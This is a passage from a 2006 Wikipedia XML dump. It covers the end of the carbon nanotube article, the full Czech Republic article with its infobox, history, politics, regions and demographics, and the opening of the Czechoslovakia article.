Researchers sometimes resort to manipulating nanotubes one-by-one with the tip of an [[atomic force microscope]] in a painstaking, time-consuming process. Perhaps the best hope is that carbon nanotubes can be grown through a [[chemical vapor deposition]] process from patterned [[catalyst]] material on a wafer, which serve as growth sites and allow designers to position one end of the nanotube. During the deposition process, an [[electric field]] can be applied to direct the growth of the nanotubes, which tend to grow along the field lines from negative to positive polarity. Another way for the self assembly of the carbon nanotube transistors consist in using chemical or biological techniques to place the nanotubes from solution to determinate place on a substrate. 

Even if nanotubes could be precisely positioned, there remains the problem that, to this date, engineers have been unable to control the types of nanotubes—metallic, semiconducting, single-walled, multi-walled—produced. A [[chemical engineering|chemical engineers]] solution is needed if nanotubes are to become feasible for commercial circuits.

==External links and sources==
{{Commons|Carbon nanotube}}
* [http://www.pa.msu.edu/cmp/csc/NTSite/nanopage.html The Nanotube site] - This site last update:   2006.01.11 (Wednesday) 08:31:37 EST by David Tomanek.
* [http://wordsgalore.com/29x0_swnt_deflex_3x3_Ar_10eV_each.gif] Animated GIF of a (29,0) being struck by 10 sets of 9 Argon atoms at 10eV each
* [http://deaddog.duch.udel.edu/~frey/research/tubegenonline.html &quot;TubeGen Online: Web-Accessible Nanotube Structure Generator&quot;]
* [http://www.xnri.com/English/rd/cnri/index.html Industrial source for MWNT] CNT manufacturer in Japan
* [http://www.nanoindian.com Nanotechnology in India]
* [http://www.future-carbon.de Multi-Wall-Nanotubes, Nanofibers, metallised Nanotubes] manufacturer in Germany
* [http://www.ntp.com.cn Commercial source of carbon nanotubes] NTP-nanotube manufacturer in China 
* [http://www.ahwahneetech.com Ahwahnee Technology] Silicon Valley carbon nanotube developer
* [http://students.chem.tue.nl/ifp03/Wondrous%20World%20of%20Carbon%20Nanotubes_Final.pdf The wonderous World of Carbon Nanotubes] (Good introduction to nanotubes)
* [http://www.newscientist.com/hottopics/tech/article.jsp?id=23864900&amp;sub=Nanotechnology Jamieson V. &quot;Open secret&quot;  ''New Scientist'']
* [http://www.nantero.com/mission.html Nantero] (developers of nanotube based non-volatile memory)
* [http://www.cheng.cam.ac.uk/research/groups/biosci/hg_research.html University of Cambridge, UK, Research group website] (Affordable methods for making carbon nanotubes and using them for gene delivery)
* [http://www.utdallas.edu/dept/chemistry/nanotech University of Texas at Dallas NanoTech Institute]
* [http://nanoDiamond.info/ NanoDiamond] (nanotubes arranged in a diamond formation yielding a very high strength-to-weight ratio material)
* [http://www.vincentherr.com/cf/ Carbon Nanotube &amp; Fullerene Models - Vincent Herr, Houston, TX]
* [http://www.sciencenews.org/articles/20030614/fob3.asp Science News - Nanotube Super Fibers] - From Science News, Vol. 163, No. 24, June 14, 2003, p. 372. No Updates.
* [http://nanotech-now.com Nanotube production surveys]  Last Update September 18, 2005
* [http://www.nanosprint.com/nanotubes/newsletter/ Carbon Nanotubes Monthly Newsletter] - focuses on various applications of carbon nanotubes and surveys research papers and issued patents
* [http://smalley.rice.edu/ Columbia University Nanoscale Science and Engineering Center presents &quot;Our Energy Challege&quot; September 23, 2003]
* [http://www.house.gov/science/hearings/energy03/dec04/smalley.htm Review of Non-Oil and Gas Research Activities in the Houston-Galveston-Gulf Coast Area]
* [http://www.helixmaterial.com/product.html commercial sources]
* [http://www.carbondesignsinc.com/ Carbon Designs, Inc.] Only home page. No technical data as of Sept 25, 2005.
* [http://trnmag.com/Stories/2004/120104/For_pure_nanotubes_add_water_120104.html &quot;For pure nanotubes add water&quot; article by  Eric Smalley 2004-12] &quot;stands of single-wall carbon nanotubes as tall as 2.5 millimeters and 99.98 percent pure. Individual nanotubes range from one to three nanometers in diameter.&quot;
* [http://msnbc.msn.com/id/8976160/ Nanotubes show their strength in numbers (MSNBC, August 18, 2005)] Super-strong sheets could be used in future screens and surfaces
*[http://www.patagon.8m.com/equations/cnt.html Nanotube composites, current applications and challenges, electrical conductivity records in 2005]
*[http://nanotechweb.org nanotechweb.org: news on nanotubes and other fields of nanotechnology]
*[http://arxiv.org/abs/cond-mat/0310067 Bose-Einstein Condensation of Helium and Hydrogen inside Bundles of Carbon Nanotubes]
*[http://carbonnanotu.be Image of a carbon nanotube]

==References==

* [http://www.personal.rdg.ac.uk/~scsharip/bookpage.htm Carbon Nanotubes and Related Structures -  New Materials for the Twenty-First Century, P.J.F. Harris (Cambridge University Press, 1999)] Introductory textbook

* {{cite journal | author=Deepak Srivastava and Chenyu Wei| title=Nanomechanics of Carbon Nanotubes and Composite | journal=Applied Mechanics Review | volume=56 | issue=2 | year=2003 | pages=215–230}}

* {{cite journal | author=Dong Qian et al. | title=Mechanics of Carbon Nanotubes | journal=Applied Mechanical Review | volume=55 | issue=6 | year=2002 | pages=495–533}}

* Dekker, C., Carbon Nanotubes as Molecular Quantum Wires, Phys. Today, 1999, May, 22-28.

* Derycke, V., Mertel, R., Appenzeller, J., Avouris, Ph., Carbon Nanotube Inter- and Intramolecular Logic Gates, Nano Lett., 2001, 1, 453-456.

* Zhu, H. W., Xu, C. L., Wu, D. H., Wei, B. Q., Vajtai, R., Ajayan, P. M., Direct Synthesis of Long Single-Walled Carbon Nanotubes Strands, Science, 2002, 296, 884.


[[Category:Materials]]
[[Category:Nanotechnology]]
[[Category:Carbon forms]]

[[da:Kulstof-nanorør]]
[[de:Kohlenstoffnanoröhre]]
[[es:Nanotubo]]
[[fi:Nanoputki]]
[[fr:Nanotube]]
[[it:Nanotubo di carbonio]]
[[ja:カーボンナノチューブ]]
[[pl:Nanorurka]]
[[pt:Nanotubo de Carbono]]
[[ru:Углеродные нанотрубки]]
[[sv:Nanorör]]
[[zh:碳纳米管]]
{{Link FA|fr}}</text>
    </revision>
  </page>
  <page>
    <title>Czech Republic</title>
    <id>5321</id>
    <revision>
      <id>42154202</id>
      <timestamp>2006-03-04T04:24:37Z</timestamp>
      <contributor>
        <ip>70.72.236.243</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Infobox_Country|
native_name = Česká republika&lt;br&gt;Czech Republic |
common_name = Czech Republic |
image_flag = Flag of the Czech Republic.svg |
image_coat = Coat of arms of the Czech Republic.png|
image_map = LocationCzechRepublic.png |
national_motto = ''Pravda vítězí'' ([[Czech language|Czech]] for &quot;Truth prevails&quot;)|
national_anthem = ''[[Kde domov můj]]'' |
official_languages = [[Czech language|Czech]] |
capital = [[Prague]] |
latd=50|latm=05|latNS=N|longd=14|longm=28|longEW=E|
largest_city = [[Prague]] |
government_type= [[Republic]] |
leader_titles = [[President of the Czech Republic|President]]&lt;br /&gt;[[List of Prime Ministers of the Czech Republic|Prime Minister]] |
leader_names = [[Václav Klaus]]&lt;br /&gt;[[Jiří Paroubek]] |
area_rank = 114st |
area_magnitude = 1_E10 |
area=78,866 |
areami² = 30,450 | &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
percent_water = 2.0% |
population_estimate = 10,241,138 |
population_estimate_year = 2005 |
population_estimate_rank = 79th |
population_census= 10,230,060 |
population_census_year= 2001 |
population_density = 130 |
population_densitymi²    = 337 | &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
population_density_rank=58th |
religion = [[Roman Catholicism]], [[atheism]] |
GDP_PPP_year=2005 |
GDP_PPP = $198,976 million |
GDP_PPP_rank = 41st |
GDP_PPP_per_capita = $19,488 |
GDP_PPP_per_capita_rank = 39th |
HDI_year = 2003 |
HDI = 0.874 |
HDI_rank = 31st |
HDI_category = &lt;font color=&quot;#009900&quot;&gt;high&lt;/font&gt; |
sovereignty_type = [[Formation]]&lt;br/&gt;[[Independence]] |
established_events = &amp;nbsp;•&amp;nbsp;Regained&lt;br/&gt;&amp;nbsp;•&amp;nbsp;Dismemberment |
established_dates = [[9th century]]&lt;br/&gt;&lt;br/&gt;[[October 28]], [[1918]]&lt;br/&gt;[[January 1]], [[1993]] |
currency = [[Czech koruna]] |
currency_code = CZK |
time_zone= [[Central European Time|CET]] |
utc_offset= +1 |
time_zone_DST= [[Central European Summer Time|CEST]] |
utc_offset_DST= +2 |
cctld= [[.cz]] |
calling_code = 420&lt;sup&gt;1&lt;/sup&gt; |
footnotes = &lt;sup&gt;1&lt;/sup&gt; Shared code 42 with [[Slovakia]] until [[1997]]
}}

The '''Czech Republic''' ([[Czech language|Czech]]: ''Česká republika'') is a [[landlocked]] country in [[Central Europe]]. The country has borders with [[Poland]] to the north, [[Germany]] to the northwest and west, [[Austria]] to the south, and [[Slovakia]] to the east. Historic [[Prague]] ([[Czech language|Czech]]: ''Praha''), a major [[tourism|tourist]] attraction, is its capital and largest city. Other major cities include [[Brno]], [[Ostrava]], [[Zlín]], [[Plzeň]], [[Pardubice]], [[Hradec Králové]], [[České Budějovice]], [[Liberec]], [[Olomouc]], and [[Ústí nad Labem]].

The country is composed of two entire historic regions, [[Bohemia]] and [[Moravia]], parts of [[Silesia]] and small sections of historic [[Lower Austria]].

The Czech Ministry of Foreign Affairs in [[1993]] announced that the name '''Czechia''' is to be used in all situations other than formal official documents and the full names of government institutions [http://www.p.lodz.pl/I35/personal/jw37/EUROPE/cesko2.htm], [http://www.p.lodz.pl/I35/personal/jw37/EUROPE/cesko1.htm], but this has not caught on in English usage. Its [[Czech language|Czech]] equivalent ''Česko'' faced opposition of the [[Czech people]] as well, but now it seems to be quite settled down in the language. ''See [[Names of the Czech Republic]] and [[Czech lands]].''

== History ==
''Main article: [[History of the Czech lands]]''

Archaeologists have found evidence of prehistoric human settlement in the area dating back to the [[Neolithic]] era. In the classical era, from the 3rd century [[Anno Domini|BC]] [[Celts|Celtic]] migrations, the [[Boii]] (see [[Bohemia]]) and later in the 1st century Germanic tribes of [[Marcomanni]] and [[Quadi]] settled there. During the [[Migration Period]] of ca. the 5th century, many Germanic tribes moved westward and southward out of Central Europe. In an equally significant migration, [[Slavic peoples|Slavic people]] from the [[Black Sea]] and [[Carpathian]] regions settled in the area (a movement that was also stimulated by the onslaught of peoples from Siberia and Eastern Europe: [[Huns]], [[Avars]], [[Bulgars]] and [[Magyars]]). Following in the Germans' wake, they moved southward into Bohemia, Moravia, and some of present day Austria.

During the [[7th century]] the Frankish merchant [[Samo]], supporting the Slavs fighting their Avar rulers, became the ruler of the first known Slav state in Central Europe. The Moravian principality arose in the 8th century (see under [[Great Moravia]]).

The [[History of the_Czechs|Bohemian or Czech state]] emerged in the late [[9th century]] when it was unified by the [[Premyslid dynasty|Přemyslids]]. The [[Kingdom (politics)|kingdom]] of [[Bohemia]] was a significant local power during the Middle Ages. It was part of the [[Holy Roman Empire]] during the entire existence of this confederation.

Religious conflicts such as the [[15th century]] [[Hussite Wars]] and the [[17th century]] [[Thirty Years War]] had a devastating effect on the local population. Bohemia later came under [[Habsburg]] influence and became part of [[Austria-Hungary]].

Following the collapse of this empire after [[World War I]], the independent republic of [[Czechoslovakia]] was created in [[1918]]. This new country contained large [[German people|German]], [[Hungarian]] and [[Polish]] minorities. Although Czechoslovakia was a democratic and liberal state guaranteeing and also implementing cultural and language rights to its minorities (schools in German language areas were entirely German), the centralistic state did not grant its minorities territorial political autonomy, which resulted in discontent and strong support among the minorities to break away from [[Czechoslovakia]]. Hitler used the opportunity and, supported by Konrad Henlein's Sudeten German Party, gained the majority German speaking [[Sudetenland]] through the [[Munich Agreement]]. Poland occupied majority Polish speaking areas around [[Cesky Tesin]], while Slovakia gained greater autonomy, with the state being renamed to &quot;Czecho-Slovakia&quot;. Eventually Slovakia broke away further in [[1939]] and the remaining Czech territory was occupied by Hitler who installed the so-called [[Protectorate of Bohemia and Moravia]], which was proclaimed part of the Reich and where the Protectorate President and Prime Minister were subordinate to the Nazi ''[[Reichsprotektor]]'' ('imperial protector'). Appr. 125,000 citizens, including 83,000 Jews, were killed, and hundreds of thousand of others were sent to prisons and concentration camps or forced labour. Czechoslovak government-in-exile and its army fighting against Nazis were acknowledged by Allies.

From [[1945]] to [[1948]] the [[Sudetenland]] was cleansed of ethnic Germans (under the so-called [[Beneš decrees]] and the [[Treaty of Potsdam]]). About 3 million Germans, almost the entire German minority of pre-War Czechoslovakia, were expelled to [[Germany]] and [[Austria]]. As a consequence, 15,000 - 30,000 (according to the official German-Czech Committee of Historians) Germans were killed or otherwise died. Only a few who had been active in the resistance or were required for economic reasons were allowed to stay, though many of them emigrated later due to the anti-German sentiment prevalent in post War Czechoslovakia.

In 1948, a reconstituted Czechoslovakia fell within the [[Soviet Union|Soviet]] [[sphere of influence]]. In [[1968]], an invasion by [[Warsaw Pact]] troops ended the efforts of the country's leaders to liberalize party rule and create &quot;[[socialism]] with a human face&quot; during the [[Prague Spring]].
In [[1989]], Czechoslovakia regained its political independence through a peaceful &quot;[[Velvet Revolution]]&quot;. On [[January 1]], [[1993]], the country peacefully [[Velvet Divorce|split in two]], creating the independent Czech and [[Slovakia|Slovak]] republics.

The Czech Republic joined [[NATO]] in [[1999]] and the [[European Union]] on [[May 1]], [[2004]].

== Politics ==
''Main article: [[Politics of the Czech Republic]]''

According to its [[Constitution of Czech republic| constitution]], the Czech Republic is a parliamentary democracy whose [[head of state]] is a [[President of the Czech Republic|president]], indirectly elected every five years by the parliament. The president is also granted specific powers such as the right to nominate Constitutional Court judges, dissolve parliament under certain conditions, complete immunity, and enact a veto on legislation. He also appoints the [[Prime Minister of the Czech Republic|prime minister]], who sets the agenda for most foreign and domestic policy, as well the other members of the [[cabinet (government)|cabinet]] on a proposal by the prime minister.

The Czech [[parliament]] (''Parlament'') is [[Bicameralism|bicameral]], with a Chamber of Deputies (''Poslanecká sněmovna'') and a Senate (''Senát''). The 200 Chamber delegates are elected for 4-year terms, on the basis of [[proportional representation]]. The 81 members of the Czech Senate serve for 6-year terms with one-third being elected every 2 years on the basis of two-round majority voting.

The country's highest court of appeals is the Supreme Court. The Constitutional Court, which rules on constitutional issues, is appointed by the president, and its members serve 10-year terms.

== Military ==
{{Military
| color=#8888dd
| age=18 years of age
| availability=2,414,728 (2005 est.)
| service=1,996,631 (2005 est.)
| reaching age=66,583 (2005 est.)
| active=
| amount= $2.17 billion (2004)
| percent GDP= 1.81% (2005)
}}

The Czech Armed Forces ([[Czech Language|Czech]]: ''Armáda České republiky'') consists of Land and [[Czech Air Force|Air Forces]] and of specialized support units. Being a member of [[NATO]] since [[1999]], the [[Czech Republic]] completes a major overhaul of the extensive [[Czechoslovakia|Czechoslovak]] armed forces which until [[1989]] formed one of the pillars of the [[Warsaw Pact]] military alliance. Czech forces have been gradually downsized from 200,000 to 35,000 and at the same time modernized and reoriented toward defensive posture. In the year [[2004]] the army was transformed into a fully professional organization and compulsory military service was ended.

The structure of the Armed Forces of the Czech Republic is as follows:
*The Army
**Joint Forces
***Joint Forces Command
***Land Forces
***[[Czech Air Force|Air Force]]
***Joint Forces Support Units
**Support and Training Forces
*The Military Office of President of the Republic
*The [[Prague Castle|Castle]] Guard

== Regions ==
''Main article: [[Regions of the Czech Republic]]

The Czech Republic consists of 13 regions (''kraje'', singular - ''kraj'') and one capital city (''hlavní město''), marked by a *:

[[Image:Regions of Czech Republic.png|center|Map of the Czech Republic with colored regions]]

{| class=&quot;wikitable&quot;
|-
!width=&quot;25&quot;|
!Region!!Capital
|-
|bgcolor=&quot;#FFFFFF&quot;|
|[[Prague]]* (Praha)||&amp;nbsp;
|-
|bgcolor=&quot;#0000CC&quot;|
|[[Central Bohemian Region]] (St&amp;#345;edo&amp;#269;eský kraj)||its offices are located in [[Prague]] (Praha)
|-
|bgcolor=&quot;#00CC00&quot;|
|[[South Bohemian Region]] (Jiho&amp;#269;eský kraj)||[[&amp;#268;eské Bud&amp;#283;jovice]]
|-
|bgcolor=&quot;#CC00CC&quot;|
|[[Plze&amp;#328; Region]] (Plze&amp;#328;ský kraj)||[[Plze&amp;#328;]]
|-
|bgcolor=&quot;#CCCCCC&quot;|
|[[Carlsbad Region]] (Karlovarský kraj)||[[Karlovy Vary]] (Carlsbad)
|-
|bgcolor=&quot;#CC9900&quot;|
|[[Ústí nad Labem Region]] (Ústecký kraj)||[[Ústí nad Labem]]
|-
|bgcolor=&quot;#666666&quot;|
|[[Liberec Region]] (Liberecký kraj)||[[Liberec]]
|-
|bgcolor=&quot;#00FFCC&quot;|
|[[Hradec Králové Region]] (Královéhradecký kraj)||[[Hradec Králové]]
|-
|bgcolor=&quot;#FFFF99&quot;|
|[[Pardubice Region]] (Pardubický kraj)||[[Pardubice]]
|-
|bgcolor=&quot;#660066&quot;|
|[[Olomouc Region]] (Olomoucký kraj)||[[Olomouc]]
|-
|bgcolor=&quot;#009900&quot;|
|[[Moravian-Silesian Region]] (Moravskoslezský kraj)||[[Ostrava]]
|-
|bgcolor=&quot;#6C3306&quot;|
|[[South Moravian Region]] (Jihomoravský kraj)||[[Brno]]
|-
|bgcolor=&quot;#00CCFF&quot;|
|[[Zlín Region]] (Zlínský kraj)||[[Zlín]]
|-
|bgcolor=&quot;#CC0000&quot;|
|[[Vyso&amp;#269;ina Region]] (Vyso&amp;#269;ina)||[[Jihlava]]
|}

== Geography ==
''Main article: [[Geography of the Czech Republic]]''

[[Image:Ez-map.png|thumb|Map of the Czech Republic]]

The Czech landscape is quite varied; [[Bohemia]] to the west consists of a basin, drained by the [[Elbe]] ([[Czech language|Czech]]: ''Labe'') and [[Vltava]] rivers, surrounded by mostly low mountains such as the [[Sudeten]] with its part [[Krkonoše]], where one also finds the highest point in the country, the [[Sněžka]] at 1,602 [[metre]]s (5,256&amp;nbsp;[[foot (unit of length)|ft]]).
[[Moravia]], the eastern part, is also quite hilly and is drained predominantly by the [[Morava river, Central Europe|Morava]] river, but also contains the source of the [[Oder]] ([[Czech language|Czech]]: ''Odra'') river. Water from the landlocked Czech Republic flows to three different seas: the [[North Sea]], [[Baltic Sea]] and [[Black Sea]].

The local [[climate]] is [[temperate climate|temperate]] with warm summers and cold, cloudy, humid winters, typified by a mixture of maritime and continental influences.

== Economy ==
''Main article: [[Economy of the Czech Republic]]''

One of the most stable and prosperous of the post-Communist states, the Czech Republic has been recovering from recession since mid-1999. Growth in [[2000]]-[[2001]] was led by exports to the [[EU]], especially [[Germany]], and foreign investment, while domestic demand is reviving.
The rate of corruption remains one of the highest among [[OECD]] countries.

Uncomfortably high fiscal and current account deficits could be future problems.

Moves to complete [[banking]], [[telecommunication]]s, and energy [[privatisation]] will add to foreign investment, while intensified restructuring among large enterprises and banks and improvements in the financial sector should strengthen output growth.

The Czech government has expressed a desire to adopt the [[euro]] currency in 2010, but the introduction of the currency is currently only in the early planning stages.

== Demographics ==
''Main article: [[Demographics of the Czech Republic]]''

{| class=&quot;wikitable&quot; style=&quot;font-size: 90%; float: right; margin: 0 0 1em 1em;&quot;
! colspan=&quot;6&quot; | Population of the Czech lands &lt;small&gt; (CSU, Prague) &lt;/small&gt;
|-
! Year !! Total !! Change
! Year !! Total !! Change
|-
! [[1857]]
| 7,016,531
| -
! [[1930]]
| 10,674,386
| 6.6%
|-
! [[1869]]
| 7,617,230
| 8.6%
! [[1950]]
| 8,896,133
| -16.7%
|-
! [[1880]]
| 8,222,013
| 7.9%
! [[1961]]
| 9,571,531
| 7.6%
|-
! [[1890]]
| 8,665,421
| 5.4%
! [[1970]]
| 9,807,697
| 2.5%
|-
! [[1900]]
| 9,372,214
| 8.2%
! [[1980]]
| 10,291,927
| 4.9%
|-
! [[1910]]
| 10,078,637
| 7.5%
! [[1991]]
| 10,302,215
| 0.1%
|-
! [[1921]]
| 10,009,587
| -0.7%
! [[2001]]
| 10,230,060
| -0.7%
|}
The majority of the inhabitants of the Czech Republic (95%) are ethnically [[Czechs|Czech]] and speak [[Czech language|Czech]], a member of the [[Slavic languages]]. Other ethnic groups include [[Slovaks|Slovaks]], [[ethnic German|Germans]], [[Roma and Sinti|Roma]], [[Magyars|Hungarians]], [[Ukrainians]] and [[Poles]]. After the [[1993]] division, some [[Slovaks]] remained in the Czech Republic and comprise roughly 2% of the current population.

== Religion ==

Despite the very visible presence of [[cathedral]]s and church buildings all over the country, the majority of Czechs (59%) are [[agnostics]] or [[atheism|atheists]] or without any dogmatic organization of belief, mostly as a consequence of the anti-religious policy during the communist era. Significant religious groups include [[Roman Catholics]] (27%), [[Protestants]] (1.2%), and Czechoslovak [[Hussites]] (1%).

== Culture ==

* [[Cinema of the Czech Republic]]
* [[Famous Czech People]]
* [[Literature of the Czech Republic]]
* [[Music of the Czech Republic]]
* [[National Theatre (Prague)]]
* [[Ceska televize|Czech TV]]
* [[Czech cuisine]]

== International rankings ==

* [[Human Development Index]] 2003: Rank 31st out of 177 countries.
* [[Index of Economic Freedom]] 2005: Rank 33rd out of 155 countries.
* [[Reporters Without Borders]] world-wide press freedom index 2005: Rank 9th out of 167 countries.

== Miscellaneous topics ==
{{sisterlinks|Czech Republic}}
* [[Communications in the Czech Republic]]
* [[Foreign relations of the Czech Republic]]
* [[Economy of the Czech Republic]]
* [[Junák]]
* [[List of cities in the Czech Republic]]
* [[List of postal codes in the Czech Republic]]
* [[List of Czech Republic-related topics]]
* [[Military of the Czech Republic]]
* [[Public holidays in the Czech Republic]]
* [[Tourism in the Czech Republic]]
* [[Transportation in the Czech Republic]]
* [[Spa towns in the Czech Republic]]

==Reference==
*''Much of the material in these articles comes from the [[CIA World Factbook]] 2000 and the 2003 U.S. Department of State website.''

== External links ==
* [http://www.psp.cz/cgi-bin/eng Chamber of Deputies website], in English
* [http://www.ceskenoviny.cz/news/ Czech Press Agency news in English]
* [http://www.czechtourism.com/index.php?lang=3 CzechTourism] - governmental agency aimed at promoting tourism in the Czech Republic
* [http://wtd.vlada.cz/eng/aktuality.htm Government website], in English
* [http://www.Czech.cz/ Official Czech portal]
* [http://portal.gov.cz/wps/portal/_s.155/5906?lng=en Portal of the Public Administration of Czech Republic]
* [http://www.slackertravel.com/pictures/Czech_Republic/czechrepublic.html Pictures of the Czech Republic] - from slackertravel.com
* [http://www.praguemonitor.com/ Prague Daily Monitor] - Czech news in English
* [http://www.praguepost.com/ Prague Post] - English-language newsweekly
* [http://www.hrad.cz/en/ Presidential website], click for a pop-up overview of English-language content
* [http://radio.cz/en/ Radio Prague] - website of the English service of Czech Radio
* [http://www.senat.cz/index-eng.php Senate website], in English
* [http://www.czechforum.net Czech Forum], about all the different aspects of the Czech Republic
* [[Wikitravel:Czech Republic|Czech Republic at Wikitravel]] - share your tourist experience.
* [http://www.worldwide-tax.com/czech/indexczech.asp Czech R. economy and business indicators] Czech Republic key Data on Taxes and Income Tax.

{{EU countries}}
{{Europe}}
{{Visegrád group}}

[[Category:Czech Republic| ]]
[[Category:European Union member states]]
[[Category:Landlocked countries]]

{{Link FA|cs}}
{{Link FA|eo}}

[[af:Tsjeggië]]
[[ang:Cecland]]
[[ar:تشيك]]
[[an:Republica Checa]]
[[ast:República Checa]]
[[az:Çex Respublikası]]
[[bg:Чехия]]
[[zh-min-nan:Česko]]
[[be:Чэхія]]
[[bn:চেক প্রজাতন্ত্র]]
[[bs:Češka]]
[[ca:República Txeca]]
[[cs:Česko]]
[[csb:Czeskô Repùblika]]
[[cy:Gweriniaeth Tsiec]]
[[da:Tjekkiet]]
[[de:Tschechien]]
[[et:Tšehhi]]
[[el:Τσεχία]]
[[es:República Checa]]
[[eo:Ĉeĥio]]
[[fa:جمهوری چک]]
[[fr:République tchèque]]
[[fy:Tsjechje]]
[[ga:An tSeic]]
[[gl:Chequia - Česko]]
[[hy:Չեխիայի Հանրապետություն]]
[[ko:체코]]
[[hr:Češka]]
[[io:Chekia]]
[[id:Ceko]]
[[ia:Republica Chec]]
[[is:Tékkland]]
[[it:Repubblica Ceca]]
[[he:צ'כיה]]
[[ka:ჩეხეთი]]
[[la:Tzekia]]
[[lv:Čehija]]
[[lb:Tschechesch Republik]]
[[lt:Čekija]]
[[li:Tsjechië]]
[[hu:Csehország]]
[[mk:Чешка]]
[[ms:Republik Czech]]
[[na:Republik Czechia]]
[[nl:Tsjechië]]
[[nds:Tschechien]]
[[ja:チェコ]]
[[no:Tsjekkia]]
[[nn:Tsjekkia]]
[[os:Чехи]]
[[pl:Czechy]]
[[pt:República Checa]]
[[ro:Republica Cehă]]
[[ru:Чехия]]
[[scn:Ripùbblica Ceca]]
[[se:Čeahkka]]
[[sq:Republika Çeke]]
[[simple:Czech Republic]]
[[sk:Česko]]
[[sl:Češka]]
[[sr:Чешка Република]]
[[fi:Tšekki]]
[[sv:Tjeckien]]
[[th:สาธารณรัฐเช็ก]]
[[tl:Czechia]]
[[vi:Cộng hòa Séc]]
[[tr:Çek Cumhuriyeti]]
[[uk:Чехія]]
[[fiu-vro:Tsehhi]]
[[yi:טשעכיע]]
[[zh:捷克]]</text>
    </revision>
  </page>
  <page>
    <title>Czechoslovakia</title>
    <id>5322</id>
    <revision>
      <id>40395329</id>
      <timestamp>2006-02-20T06:37:32Z</timestamp>
      <contributor>
        <username>Mzajac</username>
        <id>61482</id>
      </contributor>
      <minor />
      <comment>/* History */ [[Carpathian Ruthenia]] (briefly independent as [[Carpatho-Ukraine]])</comment>
      <text xml:space="preserve">'''Czechoslovakia''' ([[Czech language|Czech]]: ''Československo'', [[Slovak language|Slovak]]: ''Česko-Slovensko''/before 1990 ''Československo'', [[German language|German]]: ''Tschechoslowakei'') was a country in [[Central Europe]] that existed from [[1918]] until [[1992]] (with government-in-exile during the [[World War II]] period). On [[January 1]], [[1993]], Czechoslovakia peacefully split into the '''[[Czech Republic]] '''and''' [[Slovakia]]''', in what was known as the ''[[Velvet Divorce]]'', by analogy with the [[Velvet Revolution]].

&lt;table border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;270px&quot;&gt;
&lt;caption&gt;&lt;font size=&quot;+1&quot;&gt;'''Československo'''&lt;/font&gt;&lt;/caption&gt;
&lt;tr&gt;&lt;td style=&quot;background:#efefef;&quot; align=&quot;center&quot; colspan=2&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;&gt;
&lt;tr&gt;&lt;td align=&quot;center&quot; width=&quot;130px&quot;&gt;[[Image:Flag of the Czech Republic.svg|100px]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;center&quot; width=&quot;130px&quot;&gt;([[Flag of Czechoslovakia|In Detail]])&lt;/td&gt;
&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;center&quot; colspan=2 style=&quot;border-bottom:3px solid gray;&quot;&gt;&lt;font size=&quot;-1&quot;&gt;National [[motto]]: ([[1918]]&amp;ndash;[[1989]]) Pravda vítězí
''([[Czech language|Czech]]: Truth prevails)''&lt;br&gt;
([[1989]]&amp;ndash;[[1992]]) Veritas Vincit&lt;br&gt;''([[Latin]]: Truth prevails)''&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align=center colspan=2&gt;[[Image:LocationCzechoslovakia.png]]
&lt;tr&gt;&lt;td&gt;[[Official language]]s           &lt;/td&gt; &lt;td&gt;[[Czech language|Czech]] and [[Slovak language|Slovak]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Capital]]                      &lt;/td&gt;&lt;td&gt;[[Prague]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Area]] (1991)         &lt;/td&gt;&lt;td&gt;127,900 km²&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Population]] (1991)         &lt;/td&gt;&lt;td&gt;15,600,000&lt;br /&gt;&lt;small&gt;Czechs 54.1%,  Slovaks 31%, Moravians 8.7%, Hungarians 3.8%, Gypsies 0.7%&lt;/small&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Currency]]                 &lt;/td&gt;&lt;td&gt;[[Koruna|Czechoslovak crown]] (Kčs) = 100 [[halers]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Time zone]]              &lt;/td&gt;&lt;td&gt;[[Coordinated Universal Time|UTC]]+1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[National anthem]]     &lt;/td&gt;&lt;td&gt;[[Kde domov můj]] + [[Nad Tatrou sa blýska]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[ISO 3166-1]]               &lt;/td&gt;&lt;td&gt;CS (obsolete)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Top-level domain|Internet TLD]]               &lt;/td&gt;&lt;td&gt;[[.cs]] (obsolete, as [[.cz]] and [[.sk]] were assigned to the two countries resulting from the split)&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

== Basic characteristics ==
'''Form of state''':
*1918&amp;ndash;1968 (except for 1938&amp;ndash;1945): a centralized country; 
*1969&amp;ndash;1992: a [[Federation|federal]] republic consisting of the ''Czech Socialist Republic'' (1990&amp;ndash;1992: Czech Republic) and the ''Slovak Socialist Republic'' (1990&amp;ndash;1992: Slovak Republic); 

*1918&amp;ndash;1939 and 1945&amp;ndash;1948 and 1990&amp;ndash;1992: a [[democratic]] republic
*1939&amp;ndash;1945: split into the [[Protectorate of Bohemia and Moravia]] and the [[WWII Slovak Republic|Slovak Republic (WWII)]] 
*1948&amp;ndash;1989: a [[Communist]] country with a centrally planned economy

'''Neighbors''': [[Germany]] (1945&amp;ndash;1990: [[West Germany]] and [[East Germany]]), [[Poland]], [[Soviet Union]] (1992: [[Ukraine]]), [[Romania]] (until 1939), [[Hungary]], [[Austria]]

'''Topography''': Generally irregular terrain. Western area is part of north-central European uplands. Eastern region is composed of northern reaches of Carpathian Mountains and Danube Basin lands. 

'''Climate''': Predominantly continental but varied from moderate temperatures of Western Europe in the west to more severe weather systems affecting Eastern Europe and the western Soviet Union in the east.

==Official names==
